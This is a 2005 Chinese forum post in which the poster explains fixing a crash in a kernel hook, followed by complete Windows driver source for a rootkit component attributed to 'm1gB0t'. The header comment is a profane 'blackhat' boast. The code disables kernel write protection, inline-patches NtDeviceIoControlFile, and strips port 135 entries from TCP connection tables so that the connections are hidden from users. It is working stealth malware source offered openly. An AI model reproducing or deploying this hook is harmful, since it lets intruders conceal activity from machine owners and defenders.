uty 发表于2005-11-05 8:36 PM IP: 59.72.0.*
哇哈哈哈哈哈,,终于找到原因了!! 原来是局部变量的事,NtDeviceIoControlFile在被调用的时候是可能在任意进程中的,那几个局部变量汇编成的不过是esp-x这样的,当用的时候当然不知所云了,,换成全局变量或者申请块空间就没问题. 然而为什么在windbg中调试时会是那个鸟样,就不清楚了,,windbg在用的时候也会调用到NtDeviceIoControlFile造成的??
__asm { add esp,8 mov esp,ebp pop ebp }
/ // migsys, kernel part of m1gB0t, Greg Hoglund, 2004 // // I got the blackhat style // my code is evil and elite // with capitalized guile // fuckn the welfare vendors // and their mothefuckin deceit // hide behind the mask of good-will-defender // I cut like a file // slow hone on your vulns // This aint no fuzz // This is deeper // I'm in your states // like the motherfukn Reaper // You want something for free? // pay naught for my pursuit? // my mission occupation // gonna put me in refute // your gonna come along // cuz this is bigger than you // its gonna take you by balls // your paybacks are due / #include <ntddk.h> #include "hideport_hook_ZwDeviceIoControlFile.h" NTSYSAPI NTSTATUS NTAPI NtDeviceIoControlFile( IN HANDLE hFile, IN HANDLE hEvent OPTIONAL, IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL, IN PVOID IoApcContext OPTIONAL, OUT PIO_STATUS_BLOCK pIoStatusBlock, IN ULONG DeviceIoControlCode, IN PVOID InBuffer OPTIONAL, IN ULONG InBufferLength, OUT PVOID OutBuffer OPTIONAL, IN ULONG OutBufferLength ); NTSTATUS CheckFunctionBytesNtDeviceIoControlFile() { int i=0; char *p = (char *)NtDeviceIoControlFile; //The beginning of the NtDeviceIoControlFile function //should match: //55 PUSH EBP //8BEC MOV EBP, ESP //6A01 PUSH 01 //FF752C PUSH DWORD PTR [EBP + 2C] char c[] = { 0x55, 0x8B, 0xEC, 0x6A, 0x01, 0xFF, 0x75, 0x2C }; while(i<8) { DbgPrint(" - 0x%02X ", (unsigned char)p[i]); DbgPrint("/n"); if(p[i] != c[i]) { return STATUS_UNSUCCESSFUL; } i++; } return STATUS_SUCCESS; } // naked functions have no prolog/epilog code - they are functionally like the // target of a goto statement __declspec(naked) my_function_detour_ntdeviceiocontrolfile(IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer OPTIONAL, IN ULONG OutputBufferLength ) { NTSTATUS rc; TCP_REQUEST_QUERY_INFORMATION_EX req; TCPAddrEntry* TcpTable;// = NULL; TCPAddrExEntry* TcpExTable;// = NULL; ULONG numconn; ULONG i; __asm { add esp,8 mov esp,ebp pop ebp } __asm { push ebp mov ebp,esp } DbgPrint("hooked/n"); __asm { push OutputBufferLength push OutputBuffer push InputBufferLength push InputBuffer push IoControlCode push IoStatusBlock push ApcContext push ApcRoutine push Event push FileHandle } __asm { //int 3 jmp forwArd bAck: } __asm { // exec missing instructions push ebp mov ebp, esp push 0x01 push dword ptr [ebp+0x2C] push dword ptr [ebp+0x28] push dword ptr [ebp+0x24] push dword ptr [ebp+0x20] // jump to re-entry location in hooked function // this gets 'stamped' with the correct address // at runtime. // // we need to hard-code a far jmp, but the assembler // that comes with the DDK will not poop this out // for us, so we code it manually // jmp FAR 0x08:0xAAAAAAAA _emit 0xEA _emit 0xAA _emit 0xAA _emit 0xAA _emit 0xAA _emit 0x08 _emit 0x00 } // __asm { forwArd: call bAck } DbgPrint("once here :>/n"); __asm { mov rc,eax } TcpTable = NULL; TcpExTable = NULL; if(IoControlCode != IOCTL_TCP_QUERY_INFORMATION_EX){ //return(rc); __asm { mov esp,ebp pop ebp mov eax,rc ret 0x28 } } if( NT_SUCCESS( rc ) ) { req.ID.toi_entity.tei_entity = CO_TL_ENTITY; req.ID.toi_entity.tei_instance = 0; req.ID.toi_class = INFO_CLASS_PROTOCOL; req.ID.toi_type = INFO_TYPE_PROVIDER; req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_ID; if( sizeof(TDIObjectID) == RtlCompareMemory( InputBuffer, &req, sizeof(TDIObjectID) ) ) { numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry); TcpTable = (TCPAddrEntry*)OutputBuffer; for( i=0; i<numconn; i++ ){ if( ntohs(TcpTable[i].tae_ConnLocalPort) == 135 ) { //判断是否是最后一个 if (i != numconn -1){ RtlCopyMemory( (TcpTable+i), (TcpTable+i+1), ((numconn-i-1)*sizeof(TCPAddrEntry)) ); numconn--; i--; }else{ numconn--; } } } IoStatusBlock->Information = numconn*sizeof(TCPAddrEntry); //return(rc); __asm { mov esp,ebp pop ebp mov eax,rc ret 0x28 } } req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_EX_ID; if( sizeof(TDIObjectID) == RtlCompareMemory( InputBuffer, &req, sizeof(TDIObjectID) ) ) { numconn = IoStatusBlock->Information/sizeof(TCPAddrExEntry); TcpExTable = (TCPAddrExEntry*)OutputBuffer; for( i=0; i<numconn; i++ ) { if( ntohs(TcpExTable[i].tae_ConnLocalPort) == 135 ) { if (i != numconn){ RtlCopyMemory( (TcpExTable+i), (TcpExTable+i+1), ((numconn-i-1)*sizeof(TCPAddrExEntry)) ); numconn--; i--; }else{ numconn--; } } } IoStatusBlock->Information = numconn*sizeof(TCPAddrExEntry); //return(rc); __asm { mov esp,ebp pop ebp mov eax,rc ret 0x28 } } } //return(rc); __asm { mov esp,ebp pop ebp mov eax,rc ret 0x28 } } //-------------------------------------------------------------------- VOID DetourFunctionNtDeviceIoControlFile() { char *actual_function = (char *)NtDeviceIoControlFile; unsigned long detour_address; unsigned long reentry_address; int i = 0; // assembles to jmp far 0008:11223344 where 11223344 is address of // our detour function, plus one NOP to align up the patch char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90,0x90 }; // reenter the hooked function at a location past the overwritten opcodes // alignment is, of course, very important here reentry_address = ((unsigned long)NtDeviceIoControlFile) + 17; detour_address = (unsigned long)my_function_detour_ntdeviceiocontrolfile; // stamp in the target address of the far jmp *( (unsigned long *)(&newcode[1]) ) = detour_address; // now, stamp in the return jmp into our detour // function for(i=0;i<200;i++) { if( (0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i]) && (0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+1]) && (0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+2]) && (0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+3])) { // we found the address 0xAAAAAAAA // stamp it w/ the correct address *( (unsigned long *)(&((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i]) ) = reentry_address; break; } } //TODO, raise IRQL //overwrite the bytes in the kernel function //to apply the detour jmp _asm { CLI //dissable interrupt MOV EAX, CR0 //move CR0 register into EAX AND EAX, NOT 10000H //disable WP bit MOV CR0, EAX //write register back } for(i=8;i < 17;i++) { actual_function[i] = newcode[i-8]; } _asm { MOV EAX, CR0 //move CR0 register into EAX OR EAX, 10000H //enable WP bit MOV CR0, EAX //write register back STI //enable interrupt } //TODO, drop IRQL } VOID UnDetourFunction() { //TODO! } VOID OnUnload( IN PDRIVER_OBJECT DriverObject ) { DbgPrint("My Driver Unloaded!/n"); UnDetourFunction(); } NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath ) { DbgPrint("My Driver Loaded!"); // TODO!! theDriverObject->DriverUnload = OnUnload; if(STATUS_SUCCESS != CheckFunctionBytesNtDeviceIoControlFile()) { DbgPrint("Match Failure on NtDeviceIoControlFile!/n"); return STATUS_UNSUCCESSFUL; } DetourFunctionNtDeviceIoControlFile(); return STATUS_SUCCESS; }
Trackback: http://tb.donews.net/TrackBack.aspx?PostId=583452